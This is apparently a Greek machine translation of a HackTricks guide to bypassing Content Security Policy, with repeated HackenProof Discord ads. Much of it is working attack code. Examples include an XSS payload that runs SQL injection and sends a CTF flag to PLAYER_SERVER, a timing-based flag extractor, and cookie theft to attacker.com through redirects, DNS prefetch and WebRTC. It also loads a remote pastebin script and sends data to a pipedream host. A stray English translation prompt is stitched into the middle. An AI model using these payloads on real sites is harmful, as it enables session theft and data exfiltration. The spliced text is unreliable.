<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Μπορείτε επίσης να καταχραστείτε αυτή τη διαμόρφωση για να φορτώσετε κώδικα JavaScript που έχει εισαχθεί μέσα σε μια εικόνα. Για παράδειγμα, αν η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να δημιουργήσετε μια ειδική εικόνα, να την ανεβάσετε στο Twitter και να καταχραστείτε το "unsafe-inline" για να εκτελέσετε έναν κώδικα JS (όπως ένα κανονικό XSS) που θα φορτώσει την εικόνα, θα εξάγει τον JS από αυτήν και θα τον εκτελέσει: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Με Service Workers

Η λειτουργία importScripts των service workers δεν περιορίζεται από το CSP:

pageAbusing Service Workers

Έγχυση Πολιτικής

Έρευνα: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Αν ένα παράμετρος που στέλνετε από εσάς είναι επικολλημένος μέσα στη δήλωση της πολιτικής, τότε μπορείτε να τροποποιήσετε τη πολιτική με τρόπο που την καθιστά άχρηστη. Μπορείτε να επιτρέψετε το script 'unsafe-inline' με οποιαδήποτε από αυτές τις παρακάμψεις:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Διότι αυτή η οδηγία θα αντικαταστήσει υπάρχουσες οδηγίες script-src. Μπορείτε να βρείτε ένα παράδειγμα εδώ: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Στο Edge είναι πολύ απλό. Αν μπορείτε να προσθέσετε στο CSP μόνο αυτό: ;_ το Edge θα απορρίψει ολόκληρη τη πολιτική. Παράδειγμα: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; μέσω XSS (iframe) - Χρονική επίθεση

Παρατηρήστε την απουσία της οδηγίας 'unsafe-inline' Αυτή τη φορά μπορείτε να κάνετε το θύμα φορτώσει μια σελίδα υπό τον έλεγχό σας μέσω XSS με ένα <iframe. Αυτή τη φορά θα κάνετε το θύμα να έχει πρόσβαση στη σελίδα απ' όπου θέλετε να εξάγετε πληροφορίες (CSRF). Δεν μπορείτε να έχετε πρόσβαση στο περιεχόμενο της σελίδας, αλλά αν με κάποιον τρόπο μπορείτε να ελέγξετε το χρόνο που χρειάζεται η σελίδα για να φορτωθεί μπορείτε να εξάγετε τις πληροφορίες που χρειάζεστε.

Αυτή τη φορά θα εξαχθεί ένας σημαία, κάθε φορά που μια χαρακτήρας μαντεύεται σωστά μέσω SQLi η απόκριση παίρνει περισσότερο χρόνο λόγω της συνάρτησης ύπνου. Τότε, θα μπορείτε να εξάγετε τη σημαία:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Μέσω των Bookmarklets

Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος πείθει τον χρήστη να σύρει και να αποθέσει ένα σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης. Αυτό το bookmarklet θα περιείχε κακόβουλο κώδικα JavaScript που όταν σύρετε και αποθέσετε ή κάνετε κλικ, θα εκτελείται στο πλαίσιο του τρέχοντος παραθύρου περιήγησης, παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών όπως cookies ή τεκμήρια.

Για περισσότερες πληροφορίες ελέγξτε την αρχική αναφορά εδώ.

Παράκαμψη CSP περιορίζοντας το CSP

Σε αυτήν την ανάλυση CTF, το CSP παρακάμπτεται με το να ενσωματώνεται μέσα σε ένα επιτρεπόμενο iframe ένα πιο περιοριστικό CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου αρχείου JS που, στη συνέχεια, μέσω προσβολής πρωτοτύπου ή καταστροφής dom επέτρεψε να καταχραστεί ένα διαφορετικό script για τη φόρτωση ενός αυθαίρετου script.

Μπορείτε να περιορίσετε ένα CSP ενός iframe με το χαρακτηριστικό csp:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

Στο συγκεκριμένο CTF writeup, ήταν δυνατό μέσω ενσωμάτωσης HTML να περιοριστεί περισσότερο ένα CSP έτσι ώστε ένα script που αποτρέπει το CSTI να απενεργοποιηθεί και συνεπώς η ευπάθεια να γίνει εκμεταλλεύσιμη. Το CSP μπορεί να γίνει πιο περιοριστικό χρησιμοποιώντας ετικέτες meta HTML και τα inline scripts μπορούν να απενεργοποιηθούν αφαιρώντας την καταχώριση που επιτρέπει το nonce τους και ενεργοποιώντας συγκεκριμένο inline script μέσω sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS εξυπηρέτηση με το Content-Security-Policy-Report-Only

Εάν μπορείτε να καταφέρετε να κάνετε τον εξυπηρετητή να ανταποκριθεί με την κεφαλίδα Content-Security-Policy-Report-Only με μια τιμή που ελέγχετε εσείς (ίσως λόγω ενός CRLF), θα μπορούσατε να τον κατευθύνετε προς τον δικό σας εξυπηρετητή και αν τυλίξετε το περιεχόμενο JS που θέλετε να εξυπηρετήσετε με <script> και επειδή είναι πολύ πιθανό να μην επιτρέπεται το unsafe-inline από το CSP, αυτό θα ενεργοποιήσει ένα σφάλμα CSP και ένα μέρος του script (που περιέχει τις ευαίσθητες πληροφορίες) θα σταλεί στον εξυπηρετητή από το Content-Security-Policy-Report-Only.

Για ένα παράδειγμα ελέγξτε αυτό το CTF writeup.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Διαρροή Πληροφοριών με CSP και Iframe

  • Δημιουργείται ένα iframe που δείχνει σε μια διεύθυνση URL (ας το αποκαλέσουμε https://example.redirect.com) που επιτρέπεται από το CSP.

  • Αυτή η διεύθυνση URL στη συνέχεια ανακατευθύνει σε μια μυστική διεύθυνση URL (π.χ., https://usersecret.example2.com) που δεν επιτρέπεται από το CSP.

  • Ακούγοντας το γεγονός securitypolicyviolation, μπορεί κανείς να καταγράψει την ιδιότητα blockedURI. Αυτή η ιδιότητα αποκαλύπτει τον τομέα της μπλοκαρισμένης διεύθυνσης URI, διαρρέοντας τον μυστικό τομέα στον οποίο ανακατευθύνθηκε η αρχική διεύθυνση URL.

Είναι ενδιαφέρον να σημειωθεί ότι προγράμματα περιήγησης όπως το Chrome και το Firefox έχουν διαφορετική συμπεριφορά στην χειρισμό των iframes όσον αφορά το CSP, οδηγώντας σε πιθανή διαρροή ευαίσθητων πληροφοριών λόγω μη ορισμένης συμπεριφοράς.

Μια άλλη τεχνική περιλαμβάνει την εκμετάλλευση του ίδιου του CSP για να εξάγει το μυστικό υποτομέα. Αυτή η μέθοδος βασίζεται σε έναν αλγόριθμο δυαδικής αναζήτησης και στην προσαρμογή του CSP για να περιλαμβάνει συγκεκριμένους τομείς που είναι εσκεμμένα μπλοκαρισμένοι. Για παράδειγμα, αν ο μυστικός υποτομέας αποτελείται από άγνωστους χαρακτήρες, μπορείτε επαναληπτικά να δοκιμάζετε διαφορετικούς υποτομείς τροποποιώντας την κατευθυντήρια γραμμή CSP για να μπλοκάρετε ή να επιτρέψετε αυτούς τους υποτομείς. Εδώ υπάρχει ένα απόσπασμα που δείχνει πώς μπορεί να ρυθμιστεί το CSP για να διευκολύνει αυτήν τη μέθοδο:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Παρακολουθώντας ποια αιτήματα αποκλείονται ή επιτρέπονται από το CSP, κάποιος μπορεί να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό subdomain, αποκαλύπτοντας τελικά τον πλήρη URL.

Και οι δύο μέθοδοι εκμεταλλεύονται τις λεπτομέρειες της υλοποίησης και της συμπεριφοράς του CSP στους περιηγητές, δείχνοντας πώς πολιτικές που φαίνονται ασφαλείς μπορούν ακούσια να διαρρεύσουν ευαίσθητες πληροφορίες.

Κόλπο από εδώ.

Συμμετέχετε στον διακομιστή HackenProof Discord για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Hacking Ασχοληθείτε με περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενημερωμένοι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες ανακοινώσεις για νέες αμοιβές ευρημάτων και κρίσιμες ενημερώσεις πλατφόρμας

Συμμετέχετε μαζί μας στο Discord και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

Μη Ασφαλείς Τεχνολογίες για Παράκαμψη του CSP

Υπερφόρτωση απάντησης PHP buffer

Το PHP είναι γνωστό για την υπερφόρτωση της απάντησης σε 4096 bytes από προεπιλογή. Επομένως, αν το PHP εμφανίζει προειδοποίηση, παρέχοντας αρκετά δεδομένα μέσα στις προειδοποιήσεις, η απάντηση θα σταλεί πριν από το κεφαλίδα CSP, προκαλώντας την αγνόηση της κεφαλίδας. Στη συνέχεια, η τεχνική αποτελείται βασικά από το γέμισμα του buffer απάντησης με προειδοποιήσεις ώστε η κεφαλίδα CSP να μην σταλεί.

Ιδέα από αυτό το writeup.

Αναδιατύπωση Σελίδας Σφάλματος

Από αυτό το writeup φαίνεται ότι ήταν δυνατό να παρακαμφθεί η προστασία CSP φορτώνοντας μια σελίδα σφάλματος (πιθανώς χωρίς CSP) και αναδιατυπώνοντας το περιεχόμενό της.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

ΚΑΠΟΙΟ + 'self' + wordpress

ΤΟ ΚΑΠΟΙΟ είναι μια τεχνική που καταχράζεται ένα XSS (ή πολύ περιορισμένο XSS) σε ένα σημείο έναρξης μιας σελίδας για να καταχραστεί άλλα σημεία έναρξης της ίδιας προέλευσης. Αυτό επιτυγχάνεται φορτώνοντας το ευάλωτο σημείο έναρξης από μια σελίδα επιτιθέμενου και στη συνέχεια ανανεώνοντας τη σελίδα επιτιθέμενου στο πραγματικό σημείο έναρξης στην ίδια προέλευση που θέλετε να καταχραστείτε. Με αυτόν τον τρόπο το ευάλωτο σημείο έναρξης μπορεί να χρησιμοποιήσει το αντικείμενο opener στο φορτωμένο στοιχείο για να έχει πρόσβαση στο DOM του πραγματικού σημείου έναρξης που θέλετε να καταχραστείτε. Για περισσότερες πληροφορίες ελέγξτε:

pageSOME - Same Origin Method Execution

Επιπλέον, το wordpress έχει ένα JSONP σημείο έναρξης στο /wp-json/wp/v2/users/1?_jsonp=data που θα αντανακλά τα δεδομένα που στάλθηκαν στην έξοδο (με τον περιορισμό μόνο γραμμάτων, αριθμών και τελείες).

Ένας επιτιθέμενος μπορεί να καταχραστεί αυτό το σημείο έναρξης για να προκαλέσει μια επίθεση ΚΑΠΟΙΟ εναντίον του WordPress και να την ενσωματώσει μέσα στο <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> σημειώστε ότι αυτό το σενάριο θα φορτωθεί επειδή είναι επιτρεπόμενο από το 'self'. Επιπλέον, και επειδή το WordPress είναι εγκατεστημένο, ένας επιτιθέμενος μπορεί να καταχραστεί την επίθεση ΚΑΠΟΙΟ μέσω του ευάλωτου σημείου έναρξης κλήσης που παρακάμπτει το CSP για να δώσει περισσότερα προνόμια σε έναν χρήστη, να εγκαταστήσει ένα νέο πρόσθετο... Για περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτήν την επίθεση ελέγξτε https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Παρακάμψεις Εξαγωγής CSP

Αν υπάρχει ένα αυστηρό CSP που δεν σάς επιτρέπει να αλληλεπιδράτε με εξωτερικούς διακομιστές, υπάρχουν μερικά πράγματα που μπορείτε πάντα να κάνετε για να εξαγάγετε τις πληροφορίες.

Τοποθεσία

Μπορείτε απλά να ενημερώσετε την τοποθεσία για να στείλετε στον διακινδυνευτικό διακομιστή του επιτιθέμενου τις μυστικές πληροφορίες:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Ετικέτα Meta

Μπορείτε να κατευθύνετε με την ενσωμάτωση μιας ετικέτας meta (αυτό είναι απλά μια κατεύθυνση, δεν θα διαρρεύσει περιεχόμενο)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Για να φορτώνουν οι σελίδες γρηγορότερα, οι περιηγητές πρόκειται να προ-επιλύουν τα ονόματα κεντρικών υπολογιστών σε διευθύνσεις IP και να τα αποθηκεύουν στη μνήμη cache για μετέπειτα χρήση. Μπορείτε να υποδείξετε σε έναν περιηγητή να προ-επιλύσει ένα όνομα κεντρικού υπολογιστή με: <link rel="dns-prefetch" href="something.com">

Μπορείτε να εκμεταλλευτείτε αυτήν τη συμπεριφορά για εξαγωγή ευαίσθητων πληροφοριών μέσω αιτημάτων DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Άλλος τρόπος:

The following is content from a hacking book about hacking techiques. The following content is from the file pentesting-web/content-security-policy-csp-bypass/README.md. Translate the relevant English text to Greek and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Για να αποφευχθεί αυτό, ο διακομιστής μπορεί να στείλει την κεφαλίδα HTTP:

X-DNS-Prefetch-Control: off

Φαίνεται ότι αυτή η τεχνική δεν λειτουργεί σε headless browsers (bots)

WebRTC

Σε πολλές σελίδες μπορείτε να διαβάσετε ότι το WebRTC δεν ελέγχει την πολιτική connect-src του CSP.

Πράγματι, μπορείτε να διαρρεύσετε πληροφορίες χρησιμοποιώντας ένα αίτημα DNS. Ελέγξτε αυτόν τον κώδικα:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Άλλη επιλογή:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Έλεγχος Πολιτικών CSP Online

Αυτόματη δημιουργία CSP

https://csper.io/docs/generating-content-security-policy

Αναφορές

Συμμετέχετε στον HackenProof Discord διακομιστή για επικοινωνία με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Hacking Ασχοληθείτε με περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες ανακοινώσεις για νέες αμοιβές ευρημάτων και σημαντικές ενημερώσεις πλατφόρμας

Συμμετέχετε στο Discord και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated